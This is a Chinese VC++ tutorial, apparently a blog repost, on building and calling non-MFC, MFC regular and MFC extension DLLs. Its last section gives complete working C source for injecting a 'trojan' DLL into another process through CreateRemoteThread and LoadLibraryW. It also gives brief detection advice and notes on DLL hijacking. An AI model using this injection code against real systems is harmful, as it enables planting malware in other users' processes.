zoukankan      html  css  js  c++  java
  • VC++动态链接库 .

    Visual C++支持三种DLL,它们分别是Non-MFC DLL(非MFC动态库)、MFC Regular DLL(MFC规则DLL)、MFC Extension DLL(MFC扩展DLL)。

    Non-mfc dll

     

    //文件:lib.h

    #ifndef LIB_H
    #define LIB_H
    extern "C" int add(int x,int y);   //声明为C编译、连接方式的外部函数
    #endif

    //文件:lib.cpp

    #include "lib.h"
    int add(int x,int y)
    {
     return x + y;
    }

    静态调用:

    #include <stdio.h>
    #include "../lib.h"
    #pragma comment( lib, "..//debug//libTest.lib" )  //指定与静态库一起连接

    int main(int argc, char* argv[])
    {
     printf( "2 + 3 = %d", add( 2, 3 ) );
    }

    代码中#pragma comment( lib , "..//debug//libTest.lib" )的意思是指本文件生成的.obj文件应与libTest.lib一起连接。

    或在Project 菜单里选择Settings 然后再Link 选项卡上的 Object/Library Modules 输入lib 路径。

    动态调用:

     

    #include <stdio.h>
    #include <windows.h>

    typedef int(*lpAddFun)(int, int); //宏定义函数指针类型
    int main(int argc, char *argv[])
    {
     HINSTANCE hDll; //DLL句柄
     lpAddFun addFun; //函数指针
     hDll = LoadLibrary("..//Debug//dllTest.dll");
     if (hDll != NULL)
     {
      addFun = (lpAddFun)GetProcAddress(hDll, "add");
      if (addFun != NULL)
      {
       int result = addFun(2, 3);
       printf("%d", result);
      }
      FreeLibrary(hDll);
     }
     return 0;
    }

    声明导出函数:


      DLL中导出函数的声明有两种方式:

    一种为在函数声明中加上__declspec(dllexport);

    另外一种方式是采用模块定义(.def) 文件声明,.def文件为链接器提供了有关被链接程序的导出、属性及其他方面的信息。

      下面的代码演示了怎样同.def文件将函数add声明为DLL导出函数(需在工程中添加lib.def文件):

    ; lib.def : 导出DLL函数

    LIBRARY dllTest

    EXPORTS

    add @ 1


      .def文件的规则为:

      (1)LIBRARY语句说明.def文件相应的DLL;

      (2)EXPORTS语句后列出要导出函数的名称。可以在.def文件中的导出函数名后加@n,表示要导出函数的序号为n(在进行函数调用时,这个序号将发挥其作用);

      (3).def 文件中的注释由每个注释行开始处的分号 (;) 指定,且注释不能与语句共享一行。

      由此可以看出,例子中lib.def文件的含义为生成名为“dllTest”的动态链接库,导出其中的add函数,并指定add函数的序号为1。

    DllMain函数:

     Windows在加载DLL的时候,需要一个入口函数,就如同控制台或DOS程序需要main函数、WIN32程序需要WinMain函数一样。在前面的例子中,DLL并没有提供DllMain函数,应用工程也能成功引用DLL,这是因为Windows在找不到DllMain的时候,系统会从其它运行库中引入一个不做任何操作的缺省DllMain函数版本,并不意味着DLL可以放弃DllMain函数。

     

    BOOL APIENTRY DllMain( HANDLE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
    {
     switch (ul_reason_for_call)
     {
      case DLL_PROCESS_ATTACH:
       printf("/nprocess attach of dll");
       break;
      case DLL_THREAD_ATTACH:
       printf("/nthread attach of dll");
       break;
      case DLL_THREAD_DETACH:
       printf("/nthread detach of dll");
       break;
      case DLL_PROCESS_DETACH:
       printf("/nprocess detach of dll");
       break;
     }
     return TRUE;
    }

    APIENTRY被定义为__stdcall,它意味着这个函数以标准Pascal的方式进行调用,也就是WINAPI方式;

    进程中的每个DLL模块被全局唯一的32字节的HINSTANCE句柄标识,只有在特定的进程内部有效,句柄代表了DLL模块在进程虚拟空间中的起始地址。在Win32中,HINSTANCE和HMODULE的值是相同的,这两种类型可以替换使用,这就是函数参数hModule的来历。

    执行下列代码:

    hDll = LoadLibrary("..//Debug//dllTest.dll");
    if (hDll != NULL)
    {
     addFun = (lpAddFun)GetProcAddress(hDll, MAKEINTRESOURCE(1));
     //MAKEINTRESOURCE直接使用导出文件中的序号
     if (addFun != NULL)
     {
      int result = addFun(2, 3);
      printf("/ncall add in dll:%d", result);
     }
     FreeLibrary(hDll);
    }

    扩展DLL 和正规DLL

    扩展DLL 支持C++接口,可以导出整个C++类,客户可以构造这些类的对象或从这些类进行派生。扩展DLL动态链接到MFC库。

    正规DLL 支持WIN32编程环境,但不能导出c++类,但可以在DLL内部使用C++类。正规DLL可以分动态,静态两种连接到MFC库。

    一个简单的MFC规则DLL

             HELLO

    CANCEL          OK

    第一组文件:CWinApp继承类的声明与实现:

     

    // RegularDll.h : main header file for the REGULARDLL DLL

    #if !defined(AFX_REGULARDLL_H__3E9CB22B_588B_4388_B778_B3416ADB79B3__INCLUDED_)
    #define AFX_REGULARDLL_H__3E9CB22B_588B_4388_B778_B3416ADB79B3__INCLUDED_

    #if _MSC_VER > 1000
    #pragma once
    #endif // _MSC_VER > 1000

    #ifndef __AFXWIN_H__
    #error include ’stdafx.h’ before including this file for PCH
    #endif
    #include "resource.h" // main symbols

    class CRegularDllApp : public CWinApp
    {
     public:
      CRegularDllApp();
      DECLARE_MESSAGE_MAP()
    };

    #endif

    // RegularDll.cpp : Defines the initialization routines for the DLL.

    #include "stdafx.h"
    #include "RegularDll.h"

    #ifdef _DEBUG
    #define new DEBUG_NEW
    #undef THIS_FILE
    static char THIS_FILE[] = __FILE__;
    #endif

    BEGIN_MESSAGE_MAP(CRegularDllApp, CWinApp)
    END_MESSAGE_MAP()

    /////////////////////////////////////////////////////////////////////////////

    // CRegularDllApp construction

    CRegularDllApp::CRegularDllApp()
    {
    }

    /////////////////////////////////////////////////////////////////////////////
    // The one and only CRegularDllApp object

    CRegularDllApp theApp;

    第二组文件 自定义对话框类声明及实现:

     

    #if !defined(AFX_DLLDIALOG_H__CEA4C6AF_245D_48A6_B11A_A5521EAD7C4E__INCLUDED_)
    #define AFX_DLLDIALOG_H__CEA4C6AF_245D_48A6_B11A_A5521EAD7C4E__INCLUDED_

    #if _MSC_VER > 1000
    #pragma once
    #endif // _MSC_VER > 1000
    // DllDialog.h : header file
    /////////////////////////////////////////////////////////////////////////////
    // CDllDialog dialog

    class CDllDialog : public CDialog
    {
     // Construction
     public:
      CDllDialog(CWnd* pParent = NULL); // standard constructor
      enum { IDD = IDD_DLL_DIALOG };
     protected:
      virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV support
      // Implementation
     protected:
      afx_msg void OnHelloButton();
      DECLARE_MESSAGE_MAP()
    };
    #endif

    // DllDialog.cpp : implementation file

    #include "stdafx.h"
    #include "RegularDll.h"
    #include "DllDialog.h"
    #ifdef _DEBUG
    #define new DEBUG_NEW
    #undef THIS_FILE
    static char THIS_FILE[] = __FILE__;
    #endif

    /////////////////////////////////////////////////////////////////////////////
    // CDllDialog dialog

    CDllDialog::CDllDialog(CWnd* pParent /*=NULL*/)
    : CDialog(CDllDialog::IDD, pParent)
    {}

    void CDllDialog::DoDataExchange(CDataExchange* pDX)
    {
     CDialog::DoDataExchange(pDX);
    }

    BEGIN_MESSAGE_MAP(CDllDialog, CDialog)
     ON_BN_CLICKED(IDC_HELLO_BUTTON, OnHelloButton)
    END_MESSAGE_MAP()

    /////////////////////////////////////////////////////////////////////////////
    // CDllDialog message handlers

    void CDllDialog::OnHelloButton()
    {
     MessageBox("Hello,pconline的网友","pconline");
    }

    第三组文件 DLL中的资源文件:

    //{{NO_DEPENDENCIES}}

    // Microsoft Developer Studio generated include file.

    // Used by RegularDll.rc

    //

    #define IDD_DLL_DIALOG 1000

    #define IDC_HELLO_BUTTON 1000

    第四组文件 MFC规则DLL接口函数

     

    #include "StdAfx.h"
    #include "DllDialog.h"

    extern "C" __declspec(dllexport) void ShowDlg(void)
    {
     CDllDialog dllDialog;
     dllDialog.DoModal();
    }

    MFC规则DLL的调用:

     

    void CRegularDllCallDlg::OnCalldllButton()
    {
     typedef void (*lpFun)(void);
     HINSTANCE hDll; //DLL句柄
     hDll = LoadLibrary("RegularDll.dll");
     if (NULL==hDll)
     {
      MessageBox("DLL加载失败");
     }

     lpFun addFun; //函数指针
     lpFun pShowDlg = (lpFun)GetProcAddress(hDll,"ShowDlg");
     if (NULL==pShowDlg)
     {
      MessageBox("DLL中函数寻找失败");
     }
     pShowDlg();
    }

     

    我们照样可以在EXE程序中隐式调用MFC规则DLL,只需要将DLL工程生成的.lib文件和.dll文件拷入当前工程所在的目录,并在RegularDllCallDlg.cpp文件的顶部添加:

    #pragma comment(lib,"RegularDll.lib")
    void ShowDlg(void);


      并将void CRegularDllCallDlg::OnCalldllButton() 改为:

    void CRegularDllCallDlg::OnCalldllButton()
    {
     ShowDlg();
    }

    共享MFC DLL(或MFC扩展DLL)的规则DLL涉及到HINSTANCE句柄问题,HINSTANCE句柄对于加载资源特别重要。EXE和DLL都有其自己的资源,而且这些资源的ID可能重复,应用程序需要通过资源模块的切换来找到正确的资源。如果应用程序需要来自于DLL的资源,就应将资源模块句柄指定为DLL的模块句柄;如果需要EXE文件中包含的资源,就应将资源模块句柄指定为EXE的模块句柄。

    解决方法

    方法一 在DLL接口函数中使用:

    AFX_MANAGE_STATE(AfxGetStaticModuleState());

    方法二 在DLL接口函数中使用:

     

    AfxGetResourceHandle();

    AfxSetResourceHandle(HINSTANCE xxx);

     

    void ShowDlg(void)
    {
     //方法2的状态变更
     HINSTANCE save_hInstance = AfxGetResourceHandle();
     AfxSetResourceHandle(theApp.m_hInstance);
     CDialog dlg(IDD_DLL_DIALOG);//打开ID为2000的对话框
     dlg.DoModal();

     //方法2的状态还原
     AfxSetResourceHandle(save_hInstance);
    }

     方法三 由应用程序自身切换:
    现在我们把DLL中的接口函数改为最简单的:

    void ShowDlg(void)
    {
     CDialog dlg(IDD_DLL_DIALOG); //打开ID为2000的对话框
     dlg.DoModal();
    }


      而将应用程序的OnCalldllButton函数改为:

    void CSharedDllCallDlg::OnCalldllButton()
    {
     //方法3:由应用程序本身进行状态切换
     //获取EXE模块句柄

     HINSTANCE exe_hInstance = GetModuleHandle(NULL);

     //或者HINSTANCE exe_hInstance = AfxGetResourceHandle();
     //获取DLL模块句柄

     HINSTANCE dll_hInstance = GetModuleHandle("SharedDll.dll");
     AfxSetResourceHandle(dll_hInstance); //切换状态
     ShowDlg(); //此时显示的是DLL的对话框
     AfxSetResourceHandle(exe_hInstance); //恢复状态

     //资源模块恢复后再调用ShowDlg
     ShowDlg(); //此时显示的是EXE的对话框
    }

    扩展DLL

    MFC扩展DLL与MFC规则DLL的相同点在于在两种DLL的内部都可以使用MFC类库,其不同点在于MFC扩展DLL与应用程序的接口可以是MFC的。MFC扩展DLL的含义在于它是MFC的扩展,其主要功能是实现从现有MFC库类中派生出可重用的类。MFC扩展DLL使用MFC 动态链接库版本,因此只有用共享MFC 版本生成的MFC 可执行文件(应用程序或规则DLL)才能使用MFC扩展DLL。

     从下表我们可以看出三种DLL对DllMain入口函数的不同处理方式:

    DLL类型

    入口函数

    非 MFC DLL

    编程者提供DllMain函数

    MFC规则 DLL

    CWinApp对象的InitInstance 和 ExitInstance

    MFC扩展 DLL

    MFC DLL向导生成DllMain 函数

    于MFC扩展DLL,系统会自动在工程中添加如下表所示的宏,这些宏为DLL和应用程序的编写提供了方便

     

    定义

    AFX_CLASS_IMPORT

    __declspec(dllexport)

    AFX_API_IMPORT

    __declspec(dllexport)

    AFX_DATA_IMPORT

    __declspec(dllexport)

    AFX_CLASS_EXPORT

    __declspec(dllexport)

    AFX_API_EXPORT

    __declspec(dllexport)

    AFX_DATA_EXPORT

    __declspec(dllexport)

    AFX_EXT_CLASS

    #ifdef _AFXEXT
     AFX_CLASS_EXPORT
    #else
     AFX_CLASS_IMPORT

    AFX_EXT_API

    #ifdef _AFXEXT
     AFX_API_EXPORT
    #else
     AFX_API_IMPORT

    AFX_EXT_DATA

    #ifdef _AFXEXT
     AFX_DATA_EXPORT
    #else
     AFX_DATA_IMPORT

    MFC扩展DLL导出MFC派生类;

     

     

    static AFX_EXTENSION_MODULE ExtDllDLL = { NULL, NULL };
    extern "C" int APIENTRY

    DllMain( HINSTANCE hInstance, DWORD dwReason, LPVOID lpReserved )
    {
     // Remove this if you use lpReserved

     UNREFERENCED_PARAMETER( lpReserved );

     //说明:lpReserved是一个被系统所保留的参数,对于隐式链接是一个非零值,对于显式链接值是零

     if (dwReason == DLL_PROCESS_ATTACH)
     {
      TRACE0( "EXTDLL.DLL Initializing!/n" );
      // Extension DLL one-time initialization
      if ( !AfxInitExtensionModule( ExtDllDLL, hInstance ))
       return 0;
       // Insert this DLL into the resource chain
      new CDynLinkLibrary( ExtDllDLL );
     }
     else if (dwReason == DLL_PROCESS_DETACH)
     {
      TRACE0( "EXTDLL.DLL Terminating!/n" );
      // Terminate the library before destructors are called
      AfxTermExtensionModule( ExtDllDLL );
     }
     return 1; // ok
    }

     

     


      (1)上述代码完成MFC扩展DLL的初始化和终止处理;

      (2)初始化期间所创建的 CDynLinkLibrary 对象使MFC扩展 DLL 可以将 DLL中的CRuntimeClass 对象或资源导出到应用程序;

      (3)AfxInitExtensionModule函数捕获模块的CRuntimeClass 结构和在创建 CDynLinkLibrary 对象时使用的对象工厂(COleObjectFactory 对象);

      (4)AfxTermExtensionModule函数使 MFC 得以在每个进程与扩展 DLL 分离时(进程退出或使用AfxFreeLibrary卸载DLL时)清除扩展 DLL;

      (5)第一条语句static AFX_EXTENSION_MODULE ExtDllDLL = { NULL, NULL };定义了一个AFX_EXTENSION_MODULE类的静态全局对象,AFX_EXTENSION_MODULE的定义如下:

    struct AFX_EXTENSION_MODULE
    {
     BOOL bInitialized;
     HMODULE hModule;
     HMODULE hResource;
     CRuntimeClass* pFirstSharedClass;
     COleObjectFactory* pFirstSharedFactory;
    };


      由AFX_EXTENSION_MODULE的定义我们可以更好的理解(2)、(3)、(4)点。

     在资源编辑器中添加一个如图15所示的对话框,并使用MFC类向导为其添加一个对应的类CExtDialog,系统自动添加了ExtDialog.h和ExtDialog.cpp两个头文件。

    修改ExtDialog.h中CExtDialog类的声明为:

    class AFX_EXT_CLASS CExtDialog : public CDialog
    {
     public:
      CExtDialog( CWnd* pParent = NULL );
      enum { IDD = IDD_DLL_DIALOG };
     protected:
      virtual void DoDataExchange( CDataExchange* pDX );
      DECLARE_MESSAGE_MAP()
    };


      这其中最主要的改变是我们在class AFX_EXT_CLASS CExtDialog语句中添加了“AFX_EXT_CLASS”宏,则使得DLL中的CExtDialog类被导出。

    隐式加载

    我们在6.2工程所在的工作区中添加一个LoadExtDllDlg工程,用于演示MFC扩展DLL的加载。在LoadExtDllDlg工程中添加一个如图16所示的对话框,这个对话框上包括一个“调用DLL”按钮。

     

    // LoadExtDllDlg.cpp : implementation file
    //

    #include "../ExtDialog.h"
    #pragma comment( lib, "ExtDll.lib" )

    而“调用DLL”按钮的单击事件的消息处理函数为:

    void CLoadExtDllDlg::OnDllcallButton()
    {
     CExtDialog extDialog;
     extDialog.DoModal();
    }


      当我们单击“调用DLL”的时候,弹出了如图15的对话框。

      为提供给用户隐式加载(MFC扩展DLL一般使用隐式加载,具体原因见下节),MFC扩展DLL需要提供三个文件:

      (1)描述DLL中扩展类的头文件;

      (2)与动态链接库对应的.LIB文件;

      (3)动态链接库.DLL文件本身。

      有了这三个文件,应用程序的开发者才可充分利用MFC扩展DLL。

    显示加载

     显示加载MFC扩展DLL应使用MFC全局函数AfxLoadLibrary而不是WIN32 API中的LoadLibrary。AfxLoadLibrary 最终也调用了 LoadLibrary这个API,但是在调用之前进行了线程同步的处理。

      AfxLoadLibrary 的函数原型与 LoadLibrary完全相同,为:

    HINSTANCE AFXAPI AfxLoadLibrary( LPCTSTR lpszModuleName );


      与之相对应的是,MFC 应用程序应使用AfxFreeLibrary 而非FreeLibrary 卸载MFC扩展DLL。AfxFreeLibrary的函数原型也与 FreeLibrary完全相同,为:

    BOOL AFXAPI AfxFreeLibrary( HINSTANCE hInstLib );


      如果我们把上例中的“调用DLL”按钮单击事件的消息处理函数改为:

    void CLoadExtDllDlg::OnDllcallButton()
    {
     HINSTANCE hDll = AfxLoadLibrary( "ExtDll.dll" );
     if(NULL == hDll)
     {
      AfxMessageBox( "MFC扩展DLL动态加载失败" );
      return;
     }

     CExtDialog extDialog;
     extDialog.DoModal();
     AfxFreeLibrary(hDll);
    }


      则工程会出现link错误:

    LoadExtDllDlg.obj : error LNK2001: unresolved external symbol "__declspec(dllimport) public: virtual __thiscall CExtDialog::~CExtDialog(void)" (__imp_??1CExtDialog@@UAE@XZ)

    LoadExtDllDlg.obj : error LNK2001: unresolved external symbol "__declspec(dllimport) public: __thiscall CExtDialog::CExtDialog(class CWnd *)" (__imp_??0CExtDialog@@QAE@PAVCWnd@@@Z)


      提示CExtDialog的构造函数和析构函数均无法找到!是的,对于派生MFC类的MFC扩展DLL,当我们要在应用程序中使用DLL中定义的派生类时,我们不宜使用动态加载DLL的方法。

    6.4 MFC扩展DLL加载MFC扩展DLL

      我们可以在MFC扩展DLL中再次使用MFC扩展DLL,但是,由于在两个DLL中对于AFX_EXT_CLASS、AFX_EXT_API、AFX_EXT_DATA宏的定义都是输出,这会导致调用的时候出现问题。

      我们将会在调用MFC扩展DLL的DLL中看到link错误:

    error LNK2001: unresolved external symbol ….......


      因此,在调用MFC扩展DLL的MFC扩展DLL中,在包含被调用DLL的头文件之前,需要临时重新定义AFX_EXT_CLASS的值。下面的例子显示了如何实现:

    //临时改变宏的含义“输出”为“输入”

    #undef AFX_EXT_CLASS
    #undef AFX_EXT_API
    #undef AFX_EXT_DATA
    #define AFX_EXT_CLASS AFX_CLASS_IMPORT
    #define AFX_EXT_API AFX_API_IMPORT
    #define AFX_EXT_DATA AFX_DATA_IMPORT

    //包含被调用MFC扩展DLL的头文件

    #include "CalledDLL.h"

    //恢复宏的含义为输出

    #undef AFX_EXT_CLASS
    #undef AFX_EXT_API
    #undef AFX_EXT_DATA
    #define AFX_EXT_CLASS AFX_CLASS_EXPORT
    #define AFX_EXT_API AFX_API_EXPORT
    #define AFX_EXT_DATA AFX_DATA_EXPORT


    MFC扩展DLL导出函数和变量:

     

    MFC扩展DLL导出函数和变量的方法也十分简单,下面我们给出一个简单的例子。

      我们在MFC向导生成的MFC扩展DLL工程中添加gobal.h和global.cpp两个文件:

    //global.h:MFC扩展DLL导出变量和函数的声明

    extern "C"
    {
     int AFX_EXT_DATA total; //导出变量
     int AFX_EXT_API add( int x, int y ); //导出函数
    }

    //global.cpp:MFC扩展DLL导出变量和函数定义

    #include "StdAfx.h"
    #include "global.h"

    extern "C" int total;
    int add(int x,int y)
    {
     total = x + y;
     return total;
    }


      编写一个简单的控制台程序来调用这个MFC扩展DLL:

    #include <iostream.h>
    #include <afxver_.h>

    //AFX_EXT_DATA、AFX_EXT_API宏的定义在afxver_.h头文件中

    #pragma comment ( lib, "ExtDll.lib" )
    #include "../global.h"

    int main(int argc, char* argv[])
    {
     cout << add(2,3) << endl;
     cout << total;
     return 0;
    }

     

    动态链接库编程之DLL木马

    HANDLE CreateRemoteThread(
     HANDLE hProcess, //远程进程句柄
     LPSECURITY_ATTRIBUTES lpThreadAttributes,
     SIZE_T dwStackSize,
     LPTHREAD_START_ROUTINE lpStartAddress,
     LPVOID lpParameter,
     DWORD dwCreationFlags,
     LPDWORD lpThreadId
    );

     

    #include <windows.h>
    #include <stdlib.h>
    #include <stdio.h>

    void CheckError ( int, int, char *); //出错处理函数

    PDWORD pdwThreadId;
    HANDLE hRemoteThread, hRemoteProcess;
    DWORD fdwCreate, dwStackSize, dwRemoteProcessId;
    PWSTR pszLibFileRemote=NULL;

    void main(int argc,char **argv)
    {
     int iReturnCode;
     char lpDllFullPathName[MAX_PATH];
     WCHAR pszLibFileName[MAX_PATH]={0};

     dwRemoteProcessId = 4000;
     strcpy(lpDllFullPathName, "d://troydll.dll");
     //将DLL文件全路径的ANSI码转换成UNICODE码
     iReturnCode = MultiByteToWideChar(CP_ACP, MB_ERR_INVALID_CHARS,
      lpDllFullPathName, strlen(lpDllFullPathName),
      pszLibFileName, MAX_PATH);
     CheckError(iReturnCode, 0, "MultByteToWideChar");
     //打开远程进程
     hRemoteProcess = OpenProcess(PROCESS_CREATE_THREAD | //允许创建线程
      PROCESS_VM_OPERATION | //允许VM操作
      PROCESS_VM_WRITE, //允许VM写
      FALSE, dwRemoteProcessId );
     CheckError( (int) hRemoteProcess, NULL, "Remote Process not Exist or Access Denied!");
     //计算DLL路径名需要的内存空间
     int cb = (1 + lstrlenW(pszLibFileName)) * sizeof(WCHAR);
     pszLibFileRemote = (PWSTR) VirtualAllocEx( hRemoteProcess, NULL, cb, MEM_COMMIT, PAGE_READWRITE);
     CheckError((int)pszLibFileRemote, NULL, "VirtualAllocEx");
     //将DLL的路径名复制到远程进程的内存空间
     iReturnCode = WriteProcessMemory(hRemoteProcess, pszLibFileRemote, (PVOID) pszLibFileName, cb, NULL);
     CheckError(iReturnCode, false, "WriteProcessMemory");
     //计算LoadLibraryW的入口地址
     PTHREAD_START_ROUTINE pfnStartAddr = (PTHREAD_START_ROUTINE)
       GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW");
     CheckError((int)pfnStartAddr, NULL, "GetProcAddress");
     //启动远程线程,通过远程线程调用用户的DLL文件
     hRemoteThread = CreateRemoteThread( hRemoteProcess, NULL, 0, pfnStartAddr, pszLibFileRemote, 0, NULL);
     CheckError((int)hRemoteThread, NULL, "Create Remote Thread");
     //等待远程线程退出
     WaitForSingleObject(hRemoteThread, INFINITE);
     //清场处理
     if (pszLibFileRemote != NULL)
     {
      VirtualFreeEx(hRemoteProcess, pszLibFileRemote, 0, MEM_RELEASE);
     }
     if (hRemoteThread != NULL)
     {
      CloseHandle(hRemoteThread );
     }
     if (hRemoteProcess!= NULL)
     {
      CloseHandle(hRemoteProcess);
     }
    }

    //错误处理函数CheckError()
    void CheckError(int iReturnCode, int iErrorCode, char *pErrorMsg)
    {
     if(iReturnCode==iErrorCode)
     {
      printf("%s Error:%d/n/n", pErrorMsg, GetLastError());
      //清场处理
      if (pszLibFileRemote != NULL)
      {
       VirtualFreeEx(hRemoteProcess, pszLibFileRemote, 0, MEM_RELEASE);
      }
      if (hRemoteThread != NULL)
      {
       CloseHandle(hRemoteThread );
      }
      if (hRemoteProcess!= NULL)
      {
       CloseHandle(hRemoteProcess);
      }
      exit(0);
     }
    }

     从DLL木马注入程序的源代码中我们可以分析出DLL木马注入的一般步骤为:

      (1)取得宿主进程(即要注入木马的进程)的进程ID dwRemoteProcessId;

      (2)取得DLL的完全路径,并将其转换为宽字符模式pszLibFileName;

      (3)利用Windows API OpenProcess打开宿主进程,应该开启下列选项:

      a.PROCESS_CREATE_THREAD:允许在宿主进程中创建线程;

      b.PROCESS_VM_OPERATION:允许对宿主进程中进行VM操作;

      c.PROCESS_VM_WRITE:允许对宿主进程进行VM写。

      (4)利用Windows API VirtualAllocEx函数在远程线程的VM中分配DLL完整路径宽字符所需的存储空间,并利用Windows API WriteProcessMemory函数将完整路径写入该存储空间;

      (5)利用Windows API GetProcAddress取得Kernel32模块中LoadLibraryW函数的地址,这个函数将作为随后将启动的远程线程的入口函数;

      (6)利用Windows API CreateRemoteThread启动远程线程,将LoadLibraryW的地址作为远程线程的入口函数地址,将宿主进程里被分配空间中存储的完整DLL路径作为线程入口函数的参数以另其启动指定的DLL;

      (7)清理现场。

      DLL木马的防治

      从DLL木马的原理和一个简单的DLL木马程序中我们学到了DLL木马的工作方式,这可以帮助我们更好地理解DLL木马病毒的防治手段。

      一般的木马被植入后要打开一网络端口与攻击程序通信,所以防火墙是抵御木马攻击的最好方法。防火墙可以进行数据包过滤检查,我们可以让防火墙对通讯端口进行限制,只允许系统接受几个特定端口的数据请求。这样,即使木马植入成功,攻击者也无法进入到受侵系统,防火墙把攻击者和木马分隔开来了。

      对于DLL木马,一种简单的观察方法也许可以帮助用户发现之。我们查看运行进程所依赖的DLL,如果其中有一些莫名其妙的DLL,则可以断言这个进程是宿主进程,系统被植入了DLL木马。"道高一尺,魔高一丈",现如今,DLL木马也发展到了更高的境界,它们看起来也不再"莫名其妙"。在最新的一些木马里面,开始采用了先进的DLL陷阱技术,编程者用特洛伊DLL替换已知的系统DLL。特洛伊DLL对所有的函数调用进行过滤,对于正常的调用,使用函数转发器直接转发给被替换的系统DLL;对于一些事先约定好的特殊情况,DLL会执行一些相应的操作。

      Windows按下列顺序搜索DLL:

      (1)当前进程的可执行模块所在的目录;

      (2)当前目录;

      (3)Windows 系统目录,通过GetSystemDirectory 函数可获得此目录的路径;

      (4)Windows 目录,通过GetWindowsDirectory 函数可获得此目录的路径;

      (5)PATH 环境变量中列出的目录。

  • 相关阅读:
    Django 前戏
    SQL基本语句
    如何正确安装Mysql
    JQuery
    解疑答惑—解决脱离标准文档流(恶心的浮动)
    事件
    卷基于快照进行恢复
    centos7下Firewall使用详解
    基于镜像卷启动的虚机快照代码分析
    nova卸载volume源码分析
  • 原文地址:https://www.cnblogs.com/zhoug2020/p/2430092.html
Copyright © 2011-2022 走看看